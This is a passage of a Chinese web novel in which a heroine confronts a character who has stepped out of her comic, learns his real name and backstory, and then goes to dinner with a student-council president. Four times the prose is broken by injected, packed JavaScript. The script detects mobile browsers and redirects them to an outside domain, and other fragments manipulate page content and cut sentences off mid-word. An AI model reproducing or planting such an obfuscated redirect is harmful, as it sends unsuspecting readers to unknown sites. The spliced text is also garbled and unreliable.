下一刻,不知哪来的力量,庄森芽一下子推开对方的肩。 她能推得动,也有可能是他毫无防备,完全没想到她会在这个时候推开他。 紧接着,一个巴掌扇了过去。 啪! 手掌和脸颊发出清脆的响声,诺特斯的头歪去一旁。 她急迫地喘息着,瞪着他,眼眶是因羞恼而泛起的红色。 “你不要太过分!”她怒声喊着,声音是有些颤抖的。 诺特斯把脑袋回正了,脸上没有愤怒,只有一丝迷茫,像是刚从一场梦中醒来。 他看看她,又垂下视线打量了一下两人的姿势,这才意识到做了什么似的,目光清明了几许,不再有什么更加逾越的动作了。 “放我下来。”她咬牙说道。 他抬起一只手,捂住自己的脸颊,“……好疼。” 庄森芽愤恨地盯着他。 现在装什么无辜? 诺特斯的身形凝固了半晌,而后,他听话地渐渐卸了力,把架起的那条磨人的腿放了下去。 双脚碰到地面的时候,她险些没有站稳。他扶了一下,被她用力推开。 余光瞥见男人大腿的裤子上晕开一小块深色的痕迹,她不愿去想那是怎么回事,调头就往自己的位置上走。 这次诺特斯没有拦着她。 这场所谓的‘教训’,从中间某刻开始变了味,就连诺特斯自己一定也是觉察到了不应有的变化,所以才没有进行下去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601066|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>两人沉默着,一个待在洗手池的旁边,一个坐在座椅上打理凌乱的裙子。她背对着他,调整早就不在原位的领口,感觉脸上的热度迟迟不消。 变态,禽兽,冠冕堂皇。说什么穿着太暴露会让心怀叵测的人觊觎,她看他才是那个最心思不正的人。 她往洗手池的方向瞥了一眼,却见对方无言地穿门而去,一句话也没有留下。 就像是心虚,所以不再干涉她的穿装。目的没能得逞,于是灰溜溜地离开。 看,这才是他的真面目。 先前说的那些站在她的角度、替她着想的话,全都是在逢场作戏,就是为了创造合理的条件,方便他动手动脚。 而一旦目的暴露,本性藏不住了,收到她严厉的拒绝,他便作罢。 而后像现在这般悄无声息地离开,甚至连一句道歉或者什么都没有,更不要说从来就没有过的温情。 她也是鬼迷心窍,刚才那缠绵的过程中,竟然有一瞬间觉得继续下去也不是不行。 真是疯了,居然对这种败类产生不该有的想法。 她气愤地锤了一下桌子,感觉心情乱糟糟的,拿过台面上的镜子看向自己,发现身体也一样乱七八糟的时候,她的心情更差了。 这都什么啊……! 红一块白一块的,她怎么出去见人? 冷却下去一些的热量又再度攀升,她啪一下子把镜子扣了下去,从衣柜里翻出新的换洗衣物,一头扎进了淋浴间里。 把自己浑身上下都清洗了一通,又想用冷水浇一遍自己,但因为怕冷,最终还是没能下得去手。 她在浴室呆了很久,一遍遍搓洗,那些本就泛红的地方更加昭然,她绝望地想着,等下只能借用舍友的粉底液遮掩一下了。 走出淋浴间的时候,她隐约看到屋子里多出一个人影。 定睛看去,只见诺特斯又回来了,坐在她的座位上,手里捧着一团衣物,人看起来像在沉思着什么,目光有些凝固。 听到淋浴间的开门声,他投来视线,目光毫不避讳,仿佛这个男人从来不知道避嫌是什么,也一辈子没有过害羞的情绪。 庄森芽顿时庆幸自己在里面已经换好了裙子,不至于裹着个浴巾与人面面相觑。 “你怎么还在?”她质问。 没得到想要的,心思没能得逞,她以为他已经夹着尾巴逃走了。 男人没说什么,只是把手里的东西扔了过来,衣物像是捕鱼网一样张开,她也张开双臂才得以把它们稳稳地接住。 “这是什么?”抱着那团布料,她狐疑地问。 诺特斯没看她,胳膊撑在椅背上,手背抵着自己的额头,他盯着桌面上的一角,音色是妥协的,“既然你说什么都要在冬天穿一条什么也不遮的裙子,那好吧,我劳累点帮你盯着周围就是了。” 他声音听起来很干脆,尾音没了先前在洗手台旁的那种粘腻感,整个人似乎也恢复了平日里的模样。 只是他神色有点倦怠,像是对什么都提不起兴趣了似的,“而且,除了太过暴露的缺点外,它还不保暖,但我又不能像个暖炉似的一直抱着你吧——我倒是能,但你愿意吗?不愿意吧。所以还是多穿点。” 庄森芽闻言,低头展开那一团衣物,那是一件贴身保暖衣、一件毛皮长外套、一条肉色的裸感打底袜,以及一条围巾组成的一团混合物。 套上这些衣物,在初冬这个季节,的确不用顾虑严寒的侵扰了。 庄森芽抬头盯着男人,打量着对方。 他刚才离开是为了去买这些? 107. 是谁一知半解 指尖搓揉着保暖衣料的面料,它手感是柔和的,就像两天前他送她的那条黑色长裙一样,尽管外在上不那么讨人喜欢,可有着只有亲自穿上的人才知道的舒适。 不像她身上穿的这一条抹胸包臀裙,虽然蚕丝的材质十分光滑柔顺,可是贴在身体上,却是有些冰冷又不近人情的,就像是这些天裴佑哲给她的感觉一样。 “……为什么?”抱着那团衣物,她发出疑惑。 “嗯?”诺特斯似乎不懂她的意思。 她抿抿唇,又轻轻吸了口气,才拿出说出这句话的气势,“刚刚明明做了那种事,现在又拿这些过来……” 一会强迫她,一会又替她着想,庄森芽觉得自己可能一辈子都弄不懂这个男人。 “你是不是在捉弄我?”她盯着他问,目光灼灼。 她到底该相信哪一个?相信他哪次举动带给自己的感觉?它们总是矛盾的,当下让她觉得触动,片刻后就又会让她后悔。 就像一根皮筋,重复着绷紧回弹的过程;又像过山车一样时起时落,再坚强的心脏也耐不住无常的刺激。 她觉得他就像是某些情感博主经常说的那种最动荡的一类人,带来的关系也是极其不稳定的,像风一样时东时西,弄得人心力交瘁。 另一边,诺特斯捋了一下自己的头发,将那厚实的黑色卷发拨到自己的头顶,他看起来有点无奈,倒不是对她无奈,而是对别的什么,“就是这个度……很难把握。” “什么度?”她质问他,“捉弄我的程度?” 他一笑,几乎有点自嘲。 可是那笑容在庄森芽看来却是嘲弄,男人现在无论做什么在她眼中都有错。 不能给这样的人一丝理解与信任,也绝不要去挥霍同理心,否则就会被玩弄得更加凄惨。 “其实你根本不想回来吧。”她说,迟迟不肯换上他带来的那些衣物,“这些衣服也是,不过是为了将功补过。” 男人安静地听着她的奚落,一时无言。 他的模样让庄森芽更加确信自己的想法,她一定是说对了,他无话可反驳,所以才保持沉默。 “从你巡演结束回来之后,我就感觉出来什么了。”她断言,“以前你不管做什么坏事,只知道拍拍屁股走人,可现在你却总是用各种各样的方式补偿……你是为了给我留下一个好印象才这么做,是吧?” 诺特斯抬起眼睛,混着金色的眼瞳盯着她,仿佛想要直接看破心灵。 她继续说道:“你想在我心里变成一个好人,拨正自己的形象,好让我替你实现你的愿望,让你顺利留在这里。” 她还记得他是怎么说的:只要她想,他就能留在这个世界上。 虽然听起来像是什么无稽之谈,但是从诺特斯这些天的表现来看,她怀疑有可能真的是这样。 不然要怎么解释他突然像是变了个人似的,开始帮她打下手,替她做事,还虚情假意地关心她? 庄森芽的话说完,诺特斯眼里的光芒暗淡了下去,但只无光了一瞬,紧接着,他的脸色被笑容撑起来了,变得几乎有点明媚,“是啊,我的确是那么想的,我就是为了留下来所以才对你这么好。” 她感觉心脏被人紧紧捏了一下,具体是因为诺特斯毫不掩饰的坦率,还是因为那使人刺痛的笑脸,就不得而知了。 她只知道这感觉不好受,喉咙里泛上来的全是苦涩的意味。 勉强笑起来,不让自己露出半点脆弱的模样,“我就知道是这样,早就猜到了。” 真的猜到了吗。 她觉得不尽然。 要是早就猜到了,她就不会抱有任何一丝的侥幸,早应该把他当成一个无恶不赦的害虫,拼个你死我活也要除尽。 可从现在的发展来看,她就是抱有不切实际的侥幸,所以诺特斯还活蹦乱跳的,她也没有因为与他‘开战’而付出什么代价。 “不问问我为什么想留下来?”诺特斯问她,声音带着些蛊惑性。 不觉得是什么乐意听到的回答,但还是问道:“为什么?” 对方正要张口,突然,一阵电话铃声打断了他。 手机在桌面上嗡嗡作响,急迫的小东西不知疲倦似的,非要人把它接起才算完。 “噢,又是你的‘佑哲学长’。”诺特斯看向一旁的桌面,盯着来电显示,口吻有点阴阳怪气。 手机不在手里,庄森芽不知道当下的时间,但感觉距离上一次裴佑哲给她发消息才半个多小时,还未到约定的一小时,不知道他提前打来电话是因为什么。 诺特斯把手机举在手里,是让她自己来拿的意思。 庄森芽迟疑一瞬,几步上前,抢了过来,而后又快步和他拉开距离。 她接起电话,侧过身来,用这样的肢体动作徒劳地维护隐私,“喂,佑哲?” 听筒传来对方平静的声线,“要是准备好了就提前下来,我已经在门口等你了。” “好的,我很快就来。” 把屏幕已然熄灭的手机攥在手心,庄森芽打量了一下宿舍里的另外一个人,他像是只慵懒的黑豹一样坐在她的座位里,一副酒足饭饱的模样,让人怀疑他刚才消失的那段时间里是不是去做了什么,所以才会露出这样倦怠的神情。 这样的他给她一种感觉——他已经不会再对她做什么了。 虽然不知道具体是哪点让人这么觉得,但这种感觉很强烈,就好像她能切身处地地感觉到他的倦怠一样,她的情绪也因此变得凛冽而平静。 裴佑哲刚刚打电话催她下楼,她也不想再耽搁时间,于是抱着怀里一团衣服进了淋浴间,把它们全都套在了自己身上。 淋浴间正对着洗手台的镜子,走出来的时候,她看到镜中的自己。 除了平添的一件长外套以外,她和刚才看起来没有什么区别。 保暖内衣和裸色打底袜巧妙地隐身,不仔细看就不易察觉,它们提供了足够的温暖,也遮挡住了先前留下的泛红痕迹。 围巾被攥在手里,手感是细腻的,就像是某种动物的皮毛,又软又温和,感觉用力一掐就会断裂。她把它搭在自己的脖子上,绕了两圈,做了个看似随意的造型。 不得不说,穿上这些之后,她感觉好多了。 不再被那冰冷的丝绸紧贴着身体,反而像是有一层暖烘烘的薄膜在裹着她,就算现在走近风雪中去,也不会感觉到寒冷。 而这些又开始让她的内心摇摆,她痛恨自己这样。 明明刚才已经说得很清楚了,诺特斯就是为了留在这个世界上,为了博取她的好感,所以才展现出来不同以往的善意。 这么势利的关怀没什么好值得动摇的,其本质还是为了他自己。 思绪至此,她想起刚才被打断的问题。 整装待发站在镜前,她朝没变过位置的男人问:“所以,你为什么想留下?” 之前在健身房那时,好像也提过类似的问题,但是被对方糊弄过去了。 今天却是他自己提起来,机会难得,她本就感兴趣,自认追问也是情理之中。 诺特斯沉吟一声,摇头晃脑,“想解释清这点的话,要从辛格的事开始说。” 又在拐弯抹角。 庄森芽噔噔噔几步来到自己的座位上,拿走一个小挎包,把手机塞进去,又噔噔噔回到宿舍门口,现在她已经适应带跟的鞋子了,走起路来都能刮起一股高傲的风,“我没工夫听你长篇大论。” “就这么急着去见你的学长?” “我答应了人家很快就到。” “你还挺信守承诺的。”诺特斯的话语带着酸涩的意味,“要是对我也能这么遵守约定就好了。” 庄森芽知道他指的是什么。 当初答应给他画的漫画结局,在她心中其实根本没有兑现的那一天。 她待他并不真挚。 但这不是他抱怨的理由,他是什么样子的人自己不知道吗?指望她礼貌待人的前提是,这个人起码也得是个世俗定义下的正人君子。 违约的对象是他,她心里一点负担都没有。 “你不说我走了。”她转动门把手,敞开了门,真的就这么打算离开。 “好吧,”他投降似的起身,“时间宝贵,我不耽误你和学长约会,我在路上和你说。” “这不是约会。”她否定。 “不是约会,你觉得还能是什么?”诺特斯反问。 他们来到了宿舍的走廊里,时不时有女学生的人影在其中穿梭,为了不引人注意,庄森芽不再开口说话了,她知道现在诺特斯肯定是隐身状态,她可不想再当一次对着空气说话的神经病。 “辛格的事说到哪了?”他提出又一个疑问,庄森芽还是没有回答他,男人自我思索了一阵子,而后豁然开朗,“哦,好像是已经交代完他的困境了,对吧?” 庄森芽依然记得上一次故事进行到了哪里,诺特斯说,这个辛格在接管友人哈兰·戈斯的工厂之后,过上了水深火热的生活,一面要经营候鸟山工厂,一面要提防觊觎石剑醇这种能源的人,一面还要想办法让人们信服莱王星已经垂垂老矣、需要工厂所产的石剑醇维持运转。 但最后一点不被星球上的人们所理解,所以辛格很苦恼。 “说实话,他有点泄气。”诺特斯走在庄森芽的斜后方,两人一同走向宿舍楼的电梯,“他其实是个很自私的人,不想惹上什么麻烦事,也不喜欢长久的约定。毕竟,他本来就是个到处唱歌的吟游诗人嘛,过惯了居无定所的生活,觉得哈兰留给他的都是些束缚。” 听到这里,庄森芽侧目。 吟游诗人? 以前好像也听诺特斯提及过,什么时候提到的来着…… 他是不是说过自己是吟游诗人? “他始终在想,友人已经不在了,他已经离开了一个苦楚的世界,承载他的意志还有什么意义吗。莱王星上的人都在作茧自缚,拯救他们的意义又是什么?”诺特斯说着,听起来有些迷茫,“可是啊,如果不维护好候鸟山工厂的话,星球崩裂,辛格自己也是会死的。他虽然曾经一直过着普世定义上算不上富足的生活,有些时候甚至穷困潦倒,但没有一天,他想要与美丽和湖泊和静谧的黑夜告别。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617377|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 难道这就是诺特斯想要离开莱王星的原因? 是觉得星球已经不能继续运转下去了,所以想要逃到她所在的这个世界中来? 这倒是很符合逻辑,难怪他说,来了之后变成普通人也在所不惜,原来是生存的星球将要灭亡,不得已来异界逃命。 所以这就是答案,是他想要留在这个世界的根本原因。 她完全理解了。 不过这么大费周章讲这么多关于这个辛格的事是为了什么? 他只需要说,莱王星就快要嗝屁了,所以他需要一片健康的土壤生存,这样就足够她明白了。 然而故事还在继续,诺特斯没有停下来,就仿佛真实的原因还在后面有待叙述,“所以,他即使不愿意,也还是要想尽办法和那些小偷和强盗周旋,苦苦维系着那些对他来说像是噩梦一般的候鸟山工厂,他一度怀疑自己一辈子都要被束缚在这里了。” 来到了电梯口,附近没有人,庄森芽低声发出疑惑,“然后呢,你就出手‘解救’了他,把工厂从他的手里夺过来了?” 诺特斯笑起来,“你对我到底有什么偏见。” “你继续讲,然后呢?” “然后,在一个稀疏平常的日子,辛格睁眼醒来,他看到的不是工厂冰冷的金属墙壁,而是一片蔚蓝的天空。那天空干净、纯粹,和莱王星时常被各种灰尘笼罩的天空有着天壤之别。”诺特斯说着,看起来有些怅然,“他就像是一下子掉进了澄澈的湖泊里,迟迟缓不过神来。” 下行的电梯门打开了,里面站着两个乘坐电梯的学生,见状,庄森芽复又闭紧了嘴巴,安静地走进去,等待电梯降至一层。 “后来他才知道,他来到了一个完全不同的世界。这里的人说着陌生的语言,日出而作,日落而息,他们享有未被污染的河流,干净的土壤和空气,天空湛蓝,大地也很平静,一切看起来生机勃勃,充满了希望。”诺特斯的声音在她身旁响起,他徐徐道来,“后来,掌握了当地人的语言之后,他了解到,他们称呼这个地方为希腊。” 听到这里,庄森芽皱起了眉。 等等……他到底在说谁的事? 不是在说辛格吗? 可是从漫画里穿越过来的人明明是…… 她在一旁一筹莫展,另一边,诺特斯笑得别有深意。 有些后知后觉地,她好像想明白过来什么了。 她渐渐睁大了眼睛,忍住了没有朝身旁看去,现在要是望过去,肯定会引起电梯里其他人的注意。 可是她太好奇了,目光一次又一次向侧方投去,却看不到对方的身影。 遥想起很久之前,在自己家中的发生过的一段谈话。 那时候诺特斯问她,她明明是漫画的作者,为什么对他的事情知之甚少。 他问她,他姓什么,庄森芽表示她不清楚。 可现在她好像有点眉目了。 就仿佛猜到了她心中所想,电梯间中,男人俯下身来,声音就在她的耳旁,“诺特斯·辛格是我的全名,看来你真的不知道。” 电梯门敞开了,人群陆陆续续走出去。 庄森芽呆站了两秒,在电梯门关闭之前迈动了脚步。 她感觉有点恍惚。 诺特斯就是辛格…… 辛格就是诺特斯? 那他之前说的那些……那些有关辛格的故事,难道其实都是发生在他身上的? 包括从哈兰·戈斯那里接手候鸟山工厂,还有为了维系星球的运转而操忙…… 可这怎么看都不是诺特斯会做的事,他不应该是更加惨无人道的—— “他想知道自己为什么会来到这个世界上,”身后,诺特斯的话打断了她的思绪,他依然在用第三人称讲述着,“很幸运的是,一个科学家很快就联系上了他,告诉他这一切的起因是什么。” 晚饭时间,一层大厅有许多学生,庄森芽在人流中穿行,强忍着想要对话的冲动,心不在焉地向玻璃大门走去。 “科学家还告诉他,这世界上的某个人掌握着他的命运,然而死亡的结局已然定下,想要活下去,就要让这个人改变心意。”他说,“于是,他千里迢迢跨越江海,来到另一个陌生的国度,势要夺回自己的自由。” 立定在宿舍楼的大门外,庄森芽遥遥看到校门口停着一辆熟悉的车,窗户半开,而裴佑哲就坐在其中等待。 “他是带着无论如何也要改变自己的命运的决心去找她的,”诺特斯的声音越说越缓,越说越轻,就像是风一样将要消散,“可是在见到她的第一眼,他却在想,啊……就这么被她杀掉好像也不是不行。” 话音落下,周围那些嘈杂仿佛都被隔绝了,只剩这句话在脑海里回响。 她感觉心脏漏跳了一拍,有什么东西在胸腔翻涌,让她再难按捺住早有的冲动,猛然转过头去。 她想看见他,想知道他是怎样的表情。 然而,诺特斯却已经不在了。 熙攘的人流从她身边经过,可是哪里都没有对方的影子。 他丢下这段话就消失了。 108. 浪漫晚餐,但心怀各异 就这么呆愣地在宿舍楼门口站了一会,手机收到了来自裴佑哲的消息。 对方问她:「你在门口站着干什么?」 她回过神来,想起来自己在做什么,又是在去什么的路上,于是走出宿舍楼,前往校园门口。 今日依旧被很多人围观,只要和这个学生会主席一起行动就会变成这样。可是今天的庄森芽却丝毫没有心思去思考这些,她整个人都有些心不在焉,以至于屏蔽了大部分外界的信息。 坐上车之后,车辆启动,她通过车内的后视镜往后座上看。 没有人。 诺特斯并没有坐在后面。 之前明明说过他会一直在,可是现在又突然不跟着她了。 就像是风一样,永远捉摸不定。 一路上,裴佑哲还是维持着一贯的沉默。以往,庄森芽会因为这点而紧张兮兮的,但这次她只感激他的沉默,因为这样就能留给自己更多的时间去思考前不久发生的事了。 思绪有些纷乱,要捋顺还是要从头开始。 所以,诺特斯一直在说的都是他自己的故事。 按他的说法,是他从哈兰·戈斯那里继承了候鸟山工厂。而为了星球的运转,他一直经营着并不想经营的工厂,与觊觎资源的小偷与强盗们周旋,并且一直在试图让人们理解候鸟山工厂存在的意义、以及星球已经垂垂老矣的现状。 这会是真的吗? 一个连创作者本人都未曾听说的背景故事,会是真的吗? 难道她笔下真的在诞生一个自己都所不熟悉的世界? 或者说,并不是她创造了它,而是因为它存在,所以她才能把它画出来? 庄森芽拄着自己的额头,感觉有点头疼。 想得太远了,这不是她仅靠自己就能弄明白的课题。 高档餐厅离学校并不远,她感觉离自己坐上车还没过去多久,它却已经停在了一家金碧辉煌的餐厅门口。 裴佑哲下了车,把车钥匙交给服务人员,让他把车挪到合适的位置。 庄森芽也跟着下了车,时间已经来到了夜晚,天空是暗色的,太阳带来的温度早已远去,清冷的风不时刮过,但她却不觉得有多冷,只因往身上套了一层又一层的盔甲,它们抵御着严寒的侵袭。 这些是诺特斯给她的,是表达善意的手段,为了赢取她的好感而…… 赢取她的好感的原因是什么来着? 哦,对,是为了留在这个世界上。 那想要留在这个世界上的原因是什么? 最后那段关于辛格的故事,听到一半的时候,她以为是因为莱王星将要殒灭,所以诺特斯想找下一个落脚点。 可是听到了最后,她又不是那么确信这个结论了。 高档餐厅里并没有多少座位,桌子之间的空隙十分宽大,正中有一架钢琴,上面正有一个琴手在弹奏着轻缓的乐曲。 服务人员将他们引导到了靠窗的座位上,这里的视野很好,能够俯瞰到外面的万家灯火。 如果是平时来到这样一个观景点,她早就拿出手机拍照留念了,可是今天却是提不起兴致。 思绪把她压制在了原地,让身体都丧失了行动力。 服务员提供了两份菜单,庄森芽并没有打开来看,她想,今晚大概率是裴佑哲请客,她不花钱,故而,在出钱的人没有开口前,被宴请的宾客是不会点菜的。 “还是不能吃太辣的东西,是吗?” 庄森芽盯着外面的景色,心里装着其他的事情。 “森芽?”裴佑哲的目光离开菜单,盯着对面的人。 “啊。”她回过神来,却是想不起来裴佑哲刚才说了什么,“你说什么?” “……我说,你还是不吃辣,对吗?” 庄森芽眨眨眼睛,有点困惑裴佑哲为什么知道她不吃辣,又想起来曾经把胃吃坏正好是在高一,那时候对方还没有转学,大概是自己那个时候提过。 居然能记到现在,裴佑哲要是不摆一张冷脸,可以说相当体贴了。 “是的。”她说,“但没关系,菜随便点,我挑着吃不辣的就行。” 片刻后,点完了菜,服务员过来收走了菜单。 现在,两人面对面坐着,没有其他的干扰,再保持沉默就有些奇怪了。 裴佑哲仿佛也明白这一点,主动发起话题。 “你好像一直在走神。” “有吗?”庄森芽有点心虚。 今天出来,明面上说是要陪同对方吃晚饭,可是她却心有旁骛,可谓一点也不尽职尽责。 “在想什么?”裴佑哲看起来颇为随意地问道。 他今天穿了件浅蓝色的衬衫,看起来没那么正式,有种邻家大哥哥的感觉,所以尽管依然不苟言笑,却看起来没那么严肃了。 “也没什么……”她本来不想说,可是脑袋里除了刚才那些思绪以外空空如也,胡编乱造的能力似乎一下子离她而去,半晌也没从肚子里搜刮出什么更合适的话题,于是只好省略了主语,模棱两可地道出自己的疑惑,“我只是在想,一个人如果说自己甘愿被另一个杀死,是什么意思?” 裴佑哲神情微动,微微皱起了眉,颇为敏锐地说:“有人对你说过这种话?” 她连忙摇头摆手,“不是,是我在一本故事书上看到的情节。” “……”裴佑哲似乎半信半疑,不过还是回答了她的问题,“能说出这种话,要么就是这个人欠另一个人太多,只能用生命偿还;要么就是爱对方到极致,所以愿意将自己的一切都奉献。” 庄森芽听了,却变得愈发苦恼。 这两者听起来都不像是诺特斯会做的事…… 待的时间长了,才发觉餐厅里有点热,她把外套脱下来,服务员十分有眼力价地走上来替她取走,挂在衣架上。 当下,她穿着裴佑哲替她选的那身抹胸的白裙子,端庄地坐在他对面。他抬眼看了她一下,没表示什么,视线也十分淡然。 庄森芽注意到了他的反应,心想诺特斯绝对是判断错了,裴佑哲不可能喜欢她,要是真喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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什么生日礼物没准备,还被人家邀请去宴会,她感觉有点不好意思,顿了顿说:“那提前祝你生日快乐。” 裴佑哲手上的动作一滞,他面色波澜不惊,“提前庆祝做什么,明天你又不是不来。” “也是哦……” “生日宴会要准备很多东西,家里的人手不够,有些忙不过来,你明天早点过来帮忙吧。” 他就像是把她当成一个佣人差遣,听起来一点商量的余地都没有。 庄森芽瘪瘪嘴,看来还是逃不过做牛做马的命运。 她终于明白今天这次晚餐的用意了,是打算把她喂饱,明天好去做苦力。 虽说如此,她大人不记小人过,还是准备明天一早去给对方选个生日礼物,以表达她想要和对方重归于好的诚心。 ‘一周情侣’的考核只剩最后两天,可裴佑哲一点被感化的迹象都没有,还是维持着一贯的严肃,她感觉如果再不争取一下,他随时都有可能判决她死刑——即是,逐出学生会。 109. 成功人士的成功总是方方面面^…… 在这顿晚餐剩余的时间里,她有了新的苦恼内容,那就是应该送一个富二代什么生日礼物才好。 送贵的东西,且不说对方可能已经有了,她当下还送不起;送便宜的东西,对方可能因为质量差,拿不上台面等等一系列原因,包装盒都不拆直接扔进垃圾桶里;送吃的东西,人家什么没吃过;送用的东西,还是那句话,质量在他那里不一定过得了关。 思来想去,还是决定送点性价比不高的东西,意思就是,华而不实。 性价比不高,就不会有人买,但质量上一般说得过去,只是附加了太多没用的属性,所以价格才会虚高。 而她能买得起的价位,基本裴佑哲正眼都不会瞧。 所以,这个东西他肯定没有。 她顿觉这是个绝妙的主意,心里的大石头一下子就落了下去,整个人都轻松了许多。 享用完了晚餐,她和裴佑哲开车往回走。 说实话,她没太吃饱,而且也没觉得有多好吃,自己可能长了一张穷鬼的嘴,就喜欢吃那些街边摊,昂贵的菜肴反而品尝起来索然无味。 但也好,晚上吃太多不好消化,还容易发胖,故而,她对一顿没吃饱的晚饭没什么好抱怨的。 轿车很快就来到了校园西门,裴佑哲把她放下之后就开车走了。 庄森芽回到了自己的宿舍,洗漱了一番就躺上了床,在手机上搜索着‘应该送有钱人什么礼物’,结果搜着搜着就睡了过去。 颇为神奇地,睡眠和梦境为她孕育了答案。 第二早一醒,她奇迹似的知道应该送什么东西了—— 一块车载石膏香薰,就一小块,但是图案要精美,石膏要高密度无粉尘的,硬度要高,不容易碎裂,这样价格就在她还能接受的范围内,质量也能保证上乘,而且裴佑哲家里肯定有很多用不完的香水——别问她怎么知道,她小时候也是过过一阵好日子的——这些香水就有着落了。 上网买的话可能已经来不及了,下午她就要去裴佑哲家里。 于是临时抱佛脚,这个早上亲自跑了一趟商场。算上路费,总算是把礼物给拿下了。 这是一块雕刻着白色花团的石膏,很符合裴佑哲那一身洁白的形象。不过她更喜欢粉色的那一朵,只可惜这样的礼物送给对方一定是不合适的。 拜托店员把香薰打包好,她兴致勃勃离开商场,回到校园。 抵达宿舍的时候,有些意外地,一个少见的身影出现在了其中。 那是石玥诗。 庄森芽感觉快要半辈子没见过她了,完全想不起来上一次见面是在什么时候。 石玥诗原本似乎在画眼线,听到开门声,她转过头来,看到庄森芽,也注意到了她手里拎着的那个礼品袋。 她坐在自己的座位上,不以为意地问:“送给佑哲的?” 庄森芽不知道她是怎么猜出来的,被她问到这个问题,只觉得有点拘谨,“嗯……是。” “你们进行到哪一步了?”石玥诗盯着镜子里的自己,问。 “没有。”她连忙否定,“这只是出于朋友的情谊。” “你今天下午要去参加他的生日宴会吧。”石玥诗几乎用的是肯定句。 “他叫我过去打杂。”庄森芽强调自己的身份。 石玥诗轻轻一笑,笑意不明,“他还在和你玩那个什么考核游戏?” “考核是认真的,我能不能留在学生会,就看这最后两天的表现了。”庄森芽非常严肃地说。 对方语气淡淡的,“那祝你成功吧。” 庄森芽回想了一阵,这才渐渐回想起上一次和石玥诗说话是在什么时候。 那是在下半学期的激励演讲上,裴佑哲公布她是《灵月十四》漫画画师的那个中午,石玥诗难得回了一次宿舍,说‘原来高中时和裴佑哲做出过约定的那个女生是你’。 当时庄森芽记得自己强调过绝对不会干涉他们两人的感情,但石玥诗似乎并不相信她这番话。 后来‘一周情侣’考核又被分去了和裴佑哲一组,虽然两人其实什么关系也不是,但‘情侣’这个头衔挂在那,多少让现在的她有点心虚。 见石玥诗没事人一样在那里画眼线,庄森芽想问问对方最近的状况,思来想去落点还是在裴佑哲身上,“玥诗,你要去参加佑哲的生日宴会吗?” 石玥诗淡然说:“他没邀请我。” 真棒,第一个问题就撞在了枪口上。 “你那有没有什么礼物之类的,我可以帮你带过去。” “我也没准备礼物。” 庄森芽只觉得被噎了一下,哑口无言。 不由得夸自己,真是太会挑问题了,不该问什么偏要问。 “不用在意我的事。”石玥诗十分豁达地说,“开心地玩,玩好再回来。” 庄森芽不明白对方是出于什么样的心态才说出这番话,那种豁达不像是伪装,可她又不觉得石玥诗已经放弃了追求裴佑哲,结果就是,她完全看不透自己的室友在想什么。 “要是我能帮你做什么,一定要和我说啊。”庄森芽对她说。 石玥诗侧目看了她一眼,没回答。 时间来到了下午,裴佑哲的信息如期而至。他直言要她陪她去逛商场买东西,再去家里准备宴会场地。 今天似乎没什么着装的要求,她就穿了一身白披肩加宽松的收腿裤,戴上一只毛绒耳罩,整个人白白软软,看起来像是冬日的雪兔。 汇合之后,裴佑哲对她的装扮无动于衷,除了第一次那条黑裙子似乎辣到他的眼睛以外,她穿什么,他似乎都没有多大的反应。 不得不说,只有男人知道怎么恶心男人,诺特斯那条黑裙子是唯一让裴佑哲神情有变的一次。 庄森芽猜学生会主席一定是见过太多美女,也见过许多各色人等,各种各样的穿搭都看遍了,所以对什么都习以为常。 两人坐上车,车辆载着他们来到一家低调奢华的商场。 室内的装修是低饱和的暗色,除了店铺就是店铺,都没有餐厅,周六没有多少人来逛街,也不知道这些店家是怎么支撑下去的,可能每个月只需要卖出一件商品就能回本。 庄森芽对这里有记忆,是上次裴佑哲带她来买贝雷帽的那一个,不光是因为这里色调偏暗,而且还是因为这里没有一般商场惯有的巨大中庭,所以她对它的印象很深。 裴佑哲又带她来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643065|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次,看样子他是这里的常客。 她很好奇究竟是有什么东西需要裴佑哲亲自动身来买,按理来说,食物和装饰一类的,家佣应该会负责采买。 到了才知道,裴佑哲是来买手表的。 可是她不懂他在这个节骨眼上买手表干什么,而且一买就是好几只,裴佑哲当然也不会跟他解释。 买完了手表,他们又跑去名酒区晃悠,裴佑哲选了两瓶,叫店员打包,而这些重物最终全部来到了庄森芽的手中。 